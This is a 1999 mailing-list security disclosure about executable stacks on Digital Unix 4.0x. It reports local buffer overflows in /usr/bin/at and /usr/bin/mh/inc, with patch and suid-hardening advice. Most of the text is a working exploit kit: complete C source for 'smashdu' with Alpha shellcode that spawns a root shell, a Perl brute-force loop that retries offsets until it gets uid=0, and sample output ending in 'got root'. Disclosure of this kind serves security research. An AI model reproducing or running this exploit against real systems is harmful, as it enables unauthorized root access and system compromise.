Date: Mon, 1 Feb 1999 13:41:25 -0800
From: Lamont Granquist <[email protected]>
To: [email protected]Subject: Digital Unix Buffer Overflows: Exploits
Here is the long awaited exploit script.
I am interested in any other buffer overflow holes which people find in
Digital Unix. Please see my previous post, though, about what you need to
do first before dropping me some e-mail (in particular you need to at
least get a 0x61616161616160 out of gdb -- read my previous post).
31337 s#0u7s + g4337$ t0:
Jim Paris for bringing to my attention that DU4.0D had an exec stack
and for suggestions for the shellcode.
Dave Dittrich at UW C&C for tons of help and the 'doit' script.
Digital for a pretty decent O/S, even if it isn't open source. Here's
hoping that Compaq doesn't screw it up.
A big bummer to:
CERT for never answering any of my e-mail.
----------------------------------------------------------------------------
In a Nutshell: 1. DU4.0 has stack execute permissions
2. there exists an exploitable buffer overflow in
/usr/bin/mh/inc in DU4.0D patch_kit 2
3. older unpatched systems may have other holes,
ex: /usr/bin/at in DU4.0B.
4. exploit code for 2 and 3 are included.
----------------------------------------------------------------------------
The General Problem:
Digital (now Compaq) turned on the executable bits on the stack
and the heap for Digital Unix 4.0x. The result is that it is now
reasonably easy to write a buffer overflow for Digital Unix, following
the guidelines of Aleph1's "smashing the stack" Phrack article.
Previous versions of Digital Unix (tested on 3.2C) were not vulnerable
to simple buffer overflows since neither the stack nor the heap were
executable.
It is likely that this choice by Digital to turn on the executable
bits in data areas is driven by either Java compilers or the need for
trampolines to work correctly (see Solar Designer's stack executable
patch for Linux). Unfortunately, this makes the OS significantly
easier to write buffer overflows for.
It is likely that exploitable buffer overflow bugs exist in versions
of Digital Unix such as 3.2C which don't have stack execute permissions,
but the exploitation of these bugs will be significantly harder. The
return-into-libc method of attack[1,2] may work against 3.x version of
Digital Unix, therefore 3.x system administrators should not feel a
false sense of security.
[1] http://www.netspace.org/cgi-bin/wa?A2=ind9708B&L=bugtraq&P=R578
Subject: Getting around non-executable stack (and fix)
From: Solar Designer <[email protected]>
[2] http://www.netspace.org/cgi-bin/wa?A2=ind9802A&L=bugtraq&P=R345
Subject: Defeating Solar Designer non-executable stack patch
From: Rafal Wojtczuk <[email protected]>
The Implications:
It should be possible to adapt most of the popular buffer overflows
in other O/Ses to Digital Unix. In particular, the remote buffer
overflows for named, statd and ttdbserverd should be adaptable to
Digital Unix in principle. Locally exploitable buffer overflows such
as the at and xlock bugs should also be adaptable to Digital Unix.
An example (/usr/bin/at) is given below, along with a new (AFAIK)
exploit of /usr/bin/mh/inc.
The General Fix:
Stay up-to-date on patches released by Digital^H^H^H^H^H^H^HCompaq.
The Digital Unix patch kits are available at:
ftp://ftp.service.digital.com/public/dunix/
The files that you want are the reasonably large ones that start
out with something like "DUV40DAS00002" (for DU4.0D patch kit 2).
Digital appears to do a reasonable job at staying up-to-date on
security problems reported in other O/Ses. For example, they've got
patches for statd, and ttdbserverd, along with having apparently
fixed the /usr/bin/at problem somewhere between DU4.0B and DU4.0D.
Worrisome Things:
Try this as root:
# find / -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;
# find /usr -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;
You should take particular note of:
-rwsr-s--- 1 root system 13860864 Dec 9 1997 /usr/opt/pm/bin/pmgr
-r-sr-xr-x 1 root bin 8921088 Sep 24 1997 /usr/bin/ladebug
Personally, a meg or so of suid root code makes me jittery. I tried to
bang on these programs a little bit to find a buffer overflow, but
failed. I strongly expect that this is only due to a lack of trying.
I haven't looked at /tmp symlink attacks or anything of the sort,
either. It's gotta be there. I suggest employing chmod ug-s.
----------------------------------------------------------------------------
Specific Problem: /usr/bin/at in DU4.0B
This is pretty simple. Compile smashdu.c below and execute it with
the command line arguments of:
% ./smashdu 1022 2 56 /usr/bin/at %e
using 1022 2 56
putting overflow code into argv[1]
#
On unpatched DU4.0B this should give you root (as shown). In DU4.0D
/usr/bin/at can be made to coredump, but it does not appear to be easily
exploitable (see above for discussion of return-into-libc attacks).
----------------------------------------------------------------------------
Specific Problem: /usr/bin/mh/inc in DU4.0D w/patch kit 2
This problem exists in DU4.0D w/patch kit 2. It's a little bit more
involved than the run-of-the-mill buffer overflow, however. The size
of the buffer appears to depend on parameters such as the length of
the person's username and possibly other factors. The result is that
we need to wrap 'smashdu' in a little script to try different buffer
lengths and offsets into the stack. The script looks like:
#!/usr/local/bin/perl
$n=8175;
foreach $j (1..1000) {
foreach $i (0..7) {
$x = $n + $j;
printf("%d %d\n",$x,$i);
$cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
while (<S>) {
if (m|uid=0|) {
print "got root with '$cmd'\n";
exit(0);
}
}
close(S);
}
}
exit(0);
When this script runs it typically looks something like the below. It
should run for awhile with no errors, then start throwing faults then
finally give the command line args to 'smashdu' which will work. If it
starts faulting immediately and then seems to run forever, then try
adjusting the starting number in the script (8176) downwards. The
output below is typical.
% ./doit
8176 0
8176 1
8176 2
8176 3
8176 4
8176 5
8176 6
8176 7
8177 0
8177 1
8177 2
8177 3
8177 4
8177 5
8177 6
8177 7
8178 0
8178 1
8178 2
8178 3
8178 4
8178 5
8178 6
8178 7
8179 0
sh: 20897 Memory fault
8179 1
sh: 20601 Memory fault
8179 2
sh: 20216 Memory fault
8179 3
sh: 20942 Memory fault
8179 4
sh: 20861 Memory fault
8179 5
sh: 20548 Memory fault
8179 6
sh: 20639 Memory fault
8179 7
sh: 20571 Memory fault
8180 0
sh: 20890 Illegal instruction
8180 1
sh: 20929 Illegal instruction
8180 2
sh: 20994 Illegal instruction
8180 3
sh: 17810 Illegal instruction
8180 4
sh: 20898 Illegal instruction
8180 5
sh: 20651 Illegal instruction
8180 6
sh: 430 Illegal instruction
8180 7
sh: 3621 Illegal instruction
8181 0
sh: 20760 Illegal instruction
8181 1
sh: 20832 Illegal instruction
8181 2
sh: 20920 Illegal instruction
8181 3
sh: 20933 Illegal instruction
8181 4
sh: 13099 Illegal instruction
8181 5
sh: 20179 Illegal instruction
8181 6
sh: 19680 Illegal instruction
8181 7
sh: 19839 Illegal instruction
8182 0
sh: 19824 Memory fault
8182 1
sh: 19901 Memory fault
8182 2
sh: 4701 Memory fault
8182 3
sh: 107 Memory fault
8182 4
sh: 19347 Memory fault
8182 5
sh: 20610 Memory fault
8182 6
sh: 20946 Memory fault
8182 7
sh: 19815 Memory fault
8183 0
sh: 19775 Memory fault
8183 1
sh: 20532 Memory fault
8183 2
sh: 20996 Memory fault
8183 3
sh: 20964 Memory fault
8183 4
sh: 20676 Memory fault
8183 5
sh: 31924 Memory fault
8183 6
sh: 20892 Memory fault
8183 7
sh: 20853 Memory fault
8184 0
sh: 20986 Illegal instruction
8184 1
sh: 15606 Illegal instruction
8184 2
got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo'
Enjoy.
----------------------------------------------------------------------------
THE CODE
How it works:
The following example code should be a pretty decent toolkit for
doing buffer overruns on DU4.0x. The buffer overflow itself is pretty
kludgy and is contained in the genshellcode() function and in the
rawcode[] buffer. The entry point to the shellcode is in the middle
of the shellcode, *not* at the beginning, so that I can do a branch
backwards (offset is negative -- e.g. 0xffed, instead of positive --
e.g. 0x0038) which avoids a zero in the shellcode. Therefore
genshellcode() has to be a little bit more convoluted and has to modify
the ending branch instruction.
The shellcode itself is a little bit nutty in order to avoid all
those nulls. Avoiding nulls is a real pain. The call_pal instruction
(part of exec("/bin/sh")) has a bunch of unavoidable nulls and the
"/bin/sh" itself has an unavoidable null -- the xors are for taking
care of things like that. It also uses offsets of about 0x140 to
avoid nulls in the first byte of the offset.
I'm not an alpha assembly language hacker, so this thing might be able
to be done better and tighter. Right now it must be at least 80 bytes
in length.
The shellcode gets dumped into an environment variable, similarly to
Aleph1's code in his phrack article. You can also specify command line
arguments of the form '-e "DISPLAY=foo:0.0"' (ex) if you need additional
ones. It then takes the shellcodesize (size on the heap where the
shellcode gets stuck -- 80 is the minimum -- this is not the buffer that
gets overflowed -- 1024 is probably a good value), then the padding
(a value from 0..7 which adjusts the shellcode so that it is on a 64-bit
word boundary since env variables are not aligned at all), then the
size of the buffer overflow. The buffer overflow currently fills the
buffer with 'a' (0x61) characters and then the ra. The ra can be changed
with the '-r' argument -- remember to avoid nulls in the ra.
Then you simply give command line arguments as you would normally to
run the program you are trying to overflow where a single %e will get
substituted by the buffer overflow.
ex:
./smashdu -e "DISPLAY=foo:0.0" 1024 0 1501 /usr/bin/X11/xterm -fg %e
(which nearly works -- i can't figure it out -- 1501 is too long while
1500 is too short -- Digital Unix 4.0B, unpatched).
The Code: smashdu.c
/* smashdu.c
generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
Lamont Granquist
[email protected][email protected]
Tue Dec 1 11:22:03 PST 1998
gcc -o smashdu smashdu.c */
#define MAXENV 30
#define MAXARG 30
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
/* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes
it cannot be simply padded with nops prior to the shellcode. */
int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 */
0x47ff0412, /* clr $18 */
0x42509532, /* subq $18, 0x84 */
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17) */
0x265cff98, /* lda $18, 0xff978cd0 */
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17) */
0xb6110148, /* stq $16,0x148($17) */
0xb7f10150, /* stq $31,0x150($17) */
0x22310148, /* addq $17,0x148,$17 */
0x225f013a, /* ldil $18,0x13a */
0x425ff520, /* subq $18,0xff,$0 */
0x47ff0412, /* clr $18 */
0xffffffff, /* call_pal 0x83 */
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" */
/* .ascii "/sh\0" is generated */
};
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
if (size < (80 + padding)) {
fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
fprintf(stderr, "with %d padding\n", size, padding);
exit(-1);
}
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
if (argc - optind < 4) {
usage();
}
shellcodesize = atoi(argv[optind++]);
padding = atoi(argv[optind++]);
overflowsize = atoi(argv[optind++]);
printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
/* copy the args over from argv[] into badargs[] */
for(i=0;i<29;i++) {
if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */
badargs[i] = malloc(overflowsize);
overflow_idx = i;
optind++;
} else {
badargs[i] = argv[optind++];
}
if (optind >= argc) {
i++;
break;
}
}
badargs[i] = NULL;
if (optind < argc) {
fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
exit(-1);
}
printf("putting overflow code into argv[%d]\n", overflow_idx);
cp = badargs[overflow_idx];
for(i=0;i<overflowsize-8;i++) {
*cp = 0x61;
cp++;
}
ocp = (char *) &retaddr;
for(i=0;i<8;i++) {
cp[i] = ocp[i];
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);
}
--
Lamont Granquist [email protected]
Dept. of Molecular Biotechnology (206)616-5735 fax: (206)685-7344
Box 352145 / University of Washington / Seattle, WA 98195
PGP pubkey: finger [email protected] | pgp -fka